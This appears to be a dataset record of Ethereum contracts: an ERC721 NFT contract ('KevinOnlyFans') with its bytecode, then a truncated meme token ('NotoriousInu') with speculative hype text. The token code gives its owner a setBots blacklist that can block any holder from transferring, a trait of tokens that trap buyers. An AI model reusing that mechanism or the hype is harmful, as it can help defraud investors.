returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity >=0.7.0 <0.9.0; contract KevinOnlyFans is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public baseURI; string public uriSuffix = ".json"; uint256 public cost = 0.01 ether; uint256 public maxSupply = 969; uint256 public maxMintAmountPerTx = 3; constructor(string memory _initBaseURI) ERC721("KevinOnlyFans", "KOF") { setBaseURI(_initBaseURI); } function totalSupply() public view returns (uint256) { return supply.current(); } function updateCost() internal view returns (uint256 _cost){ if(totalSupply() < 69){ return 0.00 ether; } else{return 0.01 ether;} } function mint(uint256 _mintAmount) public payable { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); require(msg.value >= updateCost() * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, _tokenId.toString(), uriSuffix ) ) : ""; } function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function withdraw() public onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } }
0x6080604052600436106101815760003560e01c80636c0360eb116100d1578063a0712d681161008a578063c87b56dd11610064578063c87b56dd1461042d578063d5abeb011461044d578063e985e9c514610463578063f2fde38b146104ac57600080fd5b8063a0712d68146103da578063a22cb465146103ed578063b88d4fde1461040d57600080fd5b80636c0360eb1461034757806370a082311461035c578063715018a61461037c5780638da5cb5b1461039157806394354fd0146103af57806395d89b41146103c557600080fd5b806323b872dd1161013e578063438b630011610118578063438b6300146102c55780635503a0e8146102f257806355f804b3146103075780636352211e1461032757600080fd5b806323b872dd146102705780633ccfd60b1461029057806342842e0e146102a557600080fd5b806301ffc9a71461018657806306fdde03146101bb578063081812fc146101dd578063095ea7b31461021557806313faede61461023757806318160ddd1461025b575b600080fd5b34801561019257600080fd5b506101a66101a1366004611920565b6104cc565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b506101d061051e565b6040516101b29190611b2d565b3480156101e957600080fd5b506101fd6101f83660046119a3565b6105b0565b6040516001600160a01b0390911681526020016101b2565b34801561022157600080fd5b506102356102303660046118f6565b61064a565b005b34801561024357600080fd5b5061024d600a5481565b6040519081526020016101b2565b34801561026757600080fd5b5061024d610760565b34801561027c57600080fd5b5061023561028b366004611802565b610770565b34801561029c57600080fd5b506102356107a1565b3480156102b157600080fd5b506102356102c0366004611802565b61083f565b3480156102d157600080fd5b506102e56102e03660046117b4565b61085a565b6040516101b29190611ae9565b3480156102fe57600080fd5b506101d061093b565b34801561031357600080fd5b5061023561032236600461195a565b6109c9565b34801561033357600080fd5b506101fd6103423660046119a3565b610a0a565b34801561035357600080fd5b506101d0610a81565b34801561036857600080fd5b5061024d6103773660046117b4565b610a8e565b34801561038857600080fd5b50610235610b15565b34801561039d57600080fd5b506006546001600160a01b03166101fd565b3480156103bb57600080fd5b5061024d600c5481565b3480156103d157600080fd5b506101d0610b4b565b6102356103e83660046119a3565b610b5a565b3480156103f957600080fd5b506102356104083660046118ba565b610c6d565b34801561041957600080fd5b5061023561042836600461183e565b610c78565b34801561043957600080fd5b506101d06104483660046119a3565b610cb0565b34801561045957600080fd5b5061024d600b5481565b34801561046f57600080fd5b506101a661047e3660046117cf565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156104b857600080fd5b506102356104c73660046117b4565b610d8e565b60006001600160e01b031982166380ac58cd60e01b14806104fd57506001600160e01b03198216635b5e139f60e01b145b8061051857506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606000805461052d90611ca6565b80601f016020809104026020016040519081016040528092919081815260200182805461055990611ca6565b80156105a65780601f1061057b576101008083540402835291602001916105a6565b820191906000526020600020905b81548152906001019060200180831161058957829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661062e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061065582610a0a565b9050806001600160a01b0316836001600160a01b031614156106c35760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610625565b336001600160a01b03821614806106df57506106df813361047e565b6107515760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610625565b61075b8383610e26565b505050565b600061076b60075490565b905090565b61077a3382610e94565b6107965760405162461bcd60e51b815260040161062590611bc7565b61075b838383610f8b565b6006546001600160a01b031633146107cb5760405162461bcd60e51b815260040161062590611b92565b60006107df6006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610829576040519150601f19603f3d011682016040523d82523d6000602084013e61082e565b606091505b505090508061083c57600080fd5b50565b61075b83838360405180602001604052806000815250610c78565b6060600061086783610a8e565b905060008167ffffffffffffffff81111561088457610884611d52565b6040519080825280602002602001820160405280156108ad578160200160208202803683370190505b509050600160005b83811080156108c65750600b548211155b156109315760006108d683610a0a565b9050866001600160a01b0316816001600160a01b0316141561091e578284838151811061090557610905611d3c565b60209081029190910101528161091a81611ce1565b9250505b8261092881611ce1565b935050506108b5565b5090949350505050565b6009805461094890611ca6565b80601f016020809104026020016040519081016040528092919081815260200182805461097490611ca6565b80156109c15780601f10610996576101008083540402835291602001916109c1565b820191906000526020600020905b8154815290600101906020018083116109a457829003601f168201915b505050505081565b6006546001600160a01b031633146109f35760405162461bcd60e51b815260040161062590611b92565b8051610a06906008906020840190611689565b5050565b6000818152600260205260408120546001600160a01b0316806105185760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610625565b6008805461094890611ca6565b60006001600160a01b038216610af95760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610625565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610b3f5760405162461bcd60e51b815260040161062590611b92565b610b49600061112b565b565b60606001805461052d90611ca6565b600081118015610b6c5750600c548111155b610baf5760405162461bcd60e51b8152602060048201526014602482015273496e76616c6964206d696e7420616d6f756e742160601b6044820152606401610625565b600b5481610bbc60075490565b610bc69190611c18565b1115610c0b5760405162461bcd60e51b81526020600482015260146024820152734d617820737570706c792065786365656465642160601b6044820152606401610625565b80610c1461117d565b610c1e9190611c44565b341015610c635760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b6044820152606401610625565b61083c33826111a1565b610a063383836111de565b610c823383610e94565b610c9e5760405162461bcd60e51b815260040161062590611bc7565b610caa848484846112ad565b50505050565b6000818152600260205260409020546060906001600160a01b0316610d2f5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610625565b6000610d396112e0565b90506000815111610d595760405180602001604052806000815250610d87565b80610d63846112ef565b6009604051602001610d77939291906119e8565b6040516020818303038152906040525b9392505050565b6006546001600160a01b03163314610db85760405162461bcd60e51b815260040161062590611b92565b6001600160a01b038116610e1d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b61083c8161112b565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610e5b82610a0a565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316610f0d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610625565b6000610f1883610a0a565b9050806001600160a01b0316846001600160a01b03161480610f535750836001600160a01b0316610f48846105b0565b6001600160a01b0316145b80610f8357506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610f9e82610a0a565b6001600160a01b0316146110065760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610625565b6001600160a01b0382166110685760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b611073600082610e26565b6001600160a01b038316600090815260036020526040812080546001929061109c908490611c63565b90915550506001600160a01b03821660009081526003602052604081208054600192906110ca908490611c18565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006045611189610760565b10156111955750600090565b50662386f26fc1000090565b60005b8181101561075b576111ba600780546001019055565b6111cc836111c760075490565b6113ed565b806111d681611ce1565b9150506111a4565b816001600160a01b0316836001600160a01b031614156112405760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610625565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6112b8848484610f8b565b6112c484848484611407565b610caa5760405162461bcd60e51b815260040161062590611b40565b60606008805461052d90611ca6565b6060816113135750506040805180820190915260018152600360fc1b602082015290565b8160005b811561133d578061132781611ce1565b91506113369050600a83611c30565b9150611317565b60008167ffffffffffffffff81111561135857611358611d52565b6040519080825280601f01601f191660200182016040528015611382576020820181803683370190505b5090505b8415610f8357611397600183611c63565b91506113a4600a86611cfc565b6113af906030611c18565b60f81b8183815181106113c4576113c4611d3c565b60200101906001600160f81b031916908160001a9053506113e6600a86611c30565b9450611386565b610a06828260405180602001604052806000815250611514565b60006001600160a01b0384163b1561150957604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061144b903390899088908890600401611aac565b602060405180830381600087803b15801561146557600080fd5b505af1925050508015611495575060408051601f3d908101601f191682019092526114929181019061193d565b60015b6114ef573d8080156114c3576040519150601f19603f3d011682016040523d82523d6000602084013e6114c8565b606091505b5080516114e75760405162461bcd60e51b815260040161062590611b40565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610f83565b506001949350505050565b61151e8383611547565b61152b6000848484611407565b61075b5760405162461bcd60e51b815260040161062590611b40565b6001600160a01b03821661159d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610625565b6000818152600260205260409020546001600160a01b0316156116025760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610625565b6001600160a01b038216600090815260036020526040812080546001929061162b908490611c18565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461169590611ca6565b90600052602060002090601f0160209004810192826116b757600085556116fd565b82601f106116d057805160ff19168380011785556116fd565b828001600101855582156116fd579182015b828111156116fd5782518255916020019190600101906116e2565b5061170992915061170d565b5090565b5b80821115611709576000815560010161170e565b600067ffffffffffffffff8084111561173d5761173d611d52565b604051601f8501601f19908116603f0116810190828211818310171561176557611765611d52565b8160405280935085815286868601111561177e57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146117af57600080fd5b919050565b6000602082840312156117c657600080fd5b610d8782611798565b600080604083850312156117e257600080fd5b6117eb83611798565b91506117f960208401611798565b90509250929050565b60008060006060848603121561181757600080fd5b61182084611798565b925061182e60208501611798565b9150604084013590509250925092565b6000806000806080858703121561185457600080fd5b61185d85611798565b935061186b60208601611798565b925060408501359150606085013567ffffffffffffffff81111561188e57600080fd5b8501601f8101871361189f57600080fd5b6118ae87823560208401611722565b91505092959194509250565b600080604083850312156118cd57600080fd5b6118d683611798565b9150602083013580151581146118eb57600080fd5b809150509250929050565b6000806040838503121561190957600080fd5b61191283611798565b946020939093013593505050565b60006020828403121561193257600080fd5b8135610d8781611d68565b60006020828403121561194f57600080fd5b8151610d8781611d68565b60006020828403121561196c57600080fd5b813567ffffffffffffffff81111561198357600080fd5b8201601f8101841361199457600080fd5b610f8384823560208401611722565b6000602082840312156119b557600080fd5b5035919050565b600081518084526119d4816020860160208601611c7a565b601f01601f19169290920160200192915050565b6000845160206119fb8285838a01611c7a565b855191840191611a0e8184848a01611c7a565b8554920191600090600181811c9080831680611a2b57607f831692505b858310811415611a4957634e487b7160e01b85526022600452602485fd5b808015611a5d5760018114611a6e57611a9b565b60ff19851688528388019550611a9b565b60008b81526020902060005b85811015611a935781548a820152908401908801611a7a565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611adf908301846119bc565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015611b2157835183529284019291840191600101611b05565b50909695505050505050565b602081526000610d8760208301846119bc565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115611c2b57611c2b611d10565b500190565b600082611c3f57611c3f611d26565b500490565b6000816000190483118215151615611c5e57611c5e611d10565b500290565b600082821015611c7557611c75611d10565b500390565b60005b83811015611c95578181015183820152602001611c7d565b83811115610caa5750506000910152565b600181811c90821680611cba57607f821691505b60208210811415611cdb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611cf557611cf5611d10565b5060010190565b600082611d0b57611d0b611d26565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461083c57600080fdfea2646970667358221220a0b3fb268ab8d652b9aa95adda52f6f362d1ded13c5fa7fcfa732c87d27fa04764736f6c63430008070033
[ 5 ]
0xf29c7ee75356c415021ff242db6a64a0924845ae
/** A true degen play Telegram: t.me/thenotoriousinu "Sitting in his gold framed chair, from a shady bar in Brooklyn "Notorious Inu 🚬" is looking down on his fellow Inu's around him, sad and dissapointed face expressions overwelm the atmosphere inside of the pub. Because all of them know there's one one shitcoin that has the zero to lambo potential... Notorious Inu 🚬" 8) ]8 ,ad888888888b ,8' ,8' ,gPPR888888888888 ,8' ,8' ,ad8"" `Y888888888P 8) 8) ,ad8"" (8888888"" 8, 8, ,ad8"" d888"" `8, `8, ,ad8"" ,ad8"" `8, `" ,ad8"" ,ad8"" ,gPPR8b ,ad8"" dP:::::Yb ,ad8"" 8):::::(8 ,ad8"" Yb:;;;:d888"" "8ggg8P" Lets moon and recover from last 71 rugpulls or 50% presale wallets, first come = first served. **/ /** // SPDX-License-Identifier: Unlicensed **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function approve(address to, uint value) external returns (bool); } contract NotoriousInu is Context, IERC20, Ownable { string private constant _name = unicode"NotoriousInu"; string private constant _symbol = "NOTINU"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; IUniswapV2Router02 private uniswapV2Router; address[] private _excluded; address private c; address private wallet1; address private uniswapV2Pair; address private WETH; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _LiquidityFee; uint64 private buyCounter; uint8 private constant _decimals = 9; uint16 private maxTx; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable _wallet1) { c = address(this); wallet1 = _wallet1; _rOwned[c] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[c] = true; _isExcludedFromFee[wallet1] = true; excludeFromReward(owner()); excludeFromReward(c); excludeFromReward(wallet1); emit Transfer(address(0),c,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function nofees() private { _taxFee = 0; _LiquidityFee = 0; } function basefees() private { _taxFee = 0; _LiquidityFee = 10; //2% goes back into liquidity, so should be seen as 8% } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); basefees(); if (from != owner() && to != owner() && tradingOpen) { if (!inSwap) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) { if (buyCounter < 100) require(amount <= _tTotal * maxTx / 1000); buyCounter++; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) { if (swapEnabled) { uint256 contractTokenBalance = balanceOf(c); if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) { swapAndLiquify(contractTokenBalance); } } } if (!inSwap) { if (buyCounter == 10) maxTx = 120; //12% if (buyCounter == 25) maxTx = 150; //15% if (buyCounter == 35) maxTx = 300; //30% if (buyCounter == 40) { maxTx = 